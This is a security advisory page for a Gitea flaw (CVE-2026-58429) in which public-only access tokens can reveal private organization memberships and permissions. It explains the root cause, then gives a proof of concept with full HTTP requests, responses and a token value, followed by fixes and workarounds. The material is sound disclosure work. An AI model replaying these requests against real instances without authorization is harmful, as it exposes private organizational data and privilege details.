CVE-2026-58429 is a medium-severity (CVSS 4.9) CWE-284 vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.
Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-58429.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-58429 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A personal access token restricted with the public-only scope can still retrieve private organization membership and organization permission details for its own account through organization-listing endpoints. This bypass breaks the intended guarantee that such tokens are limited to public resources only.
Details
The issue affects the following endpoints: GET /api/v1/user/orgs GET /api/v1/users/{username}/orgs/{org}/permissions
The application correctly prevents a public-only token from directly accessing a private organization through: GET /api/v1/orgs/{org}
However, that same token can still obtain private organization data through alternate code paths.
The root cause is inconsistent enforcement of the public-only restriction. The middleware responsible for blocking non-public organization access depends on route context being populated with the target organization. That assumption does not hold for all affected routes.
For GET /api/v1/user/orgs, the route does not apply checkTokenPublicOnly() at all.
For GET /api/v1/users/{username}/orgs, the middleware is present, but it evaluates ctx.ContextUser, which represents the user named in the path, not the organization objects returned by the handler. Since ctx.Org.Organization is not populated for these responses, private organization results are not filtered.
The organization listing logic then uses the effective relationship between the authenticated user and the target user to determine visibility. When the token belongs to the same user, the handler allows private organization visibility and returns private memberships.
The permissions endpoint is similarly affected. It relies on general visibility logic relative to the real user account rather than explicitly enforcing the public-only token restriction before returning organization authorization details. As a result, a restricted token can still obtain organization role information such as ownership, admin status, and repository creation capability for a private organization.
This is therefore a route-specific authorization failure: direct organization access is blocked, but indirect endpoints still disclose private organization-derived data.
PoC
Step 1: Create or use a user account that belongs to at least one private organization. <img width="1858" height="891" alt="Screenshot 2026-04-16 001614" src="https://github.com/user-attachments/assets/9c1bdbc4-234f-4f65-9b91-00c7ca9a51f7" />
Step 2: Generate a personal access token for that same user with the scopes: public-only, read:user, and read:organization
https://github.com/user-attachments/assets/c89c9004-5e6d-4ff9-b130-5cd9fedc38f6
Step 3: Confirm the token is correctly restricted by requesting the private organization directly <img width="1918" height="867" alt="Screenshot 2026-04-16 002345" src="https://github.com/user-attachments/assets/4c489174-b4ef-400b-9eea-5484520f51e2" />
[REQUEST] GET /api/v1/orgs/private_1?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers
[RESPONSE] HTTP/2 403 Forbidden Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:23:19 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 89 {"message":"token scope is limited to public orgs","url":"https://gitea.com/api/swagger"}
Step 4: Use the same token to request the authenticated user’s organizations. Observe that request send successful and receive data about private org. <img width="1545" height="791" alt="Screenshot 2026-04-16 002751" src="https://github.com/user-attachments/assets/761d2684-0882-4e61-9462-21514738e681" /> [REQUEST] GET /api/v1/user/orgs?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers
[RESPONSE] HTTP/2 200 OK Access-Control-Expose-Headers: X-Total-Count Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:26:35 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. X-Total-Count: 1 Content-Length: 261 [{"id":192111,"name":"private_1","full_name":"","email":"","avatar_url":"https://gitea.com/avatars/cc05fbb4da63b760bf83cdc054c3be63","description":"","website":"","location":"","visibility":"private","repo_admin_change_team_access":true,"username":"private_1"}]
Step 5: Use the same token to request organization permissions for that private organization. <img width="1917" height="865" alt="Screenshot 2026-04-16 003100" src="https://github.com/user-attachments/assets/65578c48-3307-4e0d-ae08-991f64158706" /> [REQUEST] GET /api/v1/users/pcatso172124/orgs/private_1/permissions?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers
[RESPONSE] HTTP/2 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:30:32 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 95
{"is_owner":true,"is_admin":true,"can_write":true,"can_read":true,"can_create_repository":true}
Impact
Any public-only token for a user who belongs to private organizations can enumerate those private organization names and retrieve detailed authorization information such as ownership, administrative status, write access, read access, and repository-creation capability. This weakens least-privilege token delegation and can expose sensitive internal organizational structure and privilege relationships to third-party integrations, CI jobs, or compromised automation that were only meant to access public data.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.27.0go get code.gitea.io/gitea@v1.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58429 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-58429 in your dependencies?
Find it across Go, including transitive dependencies.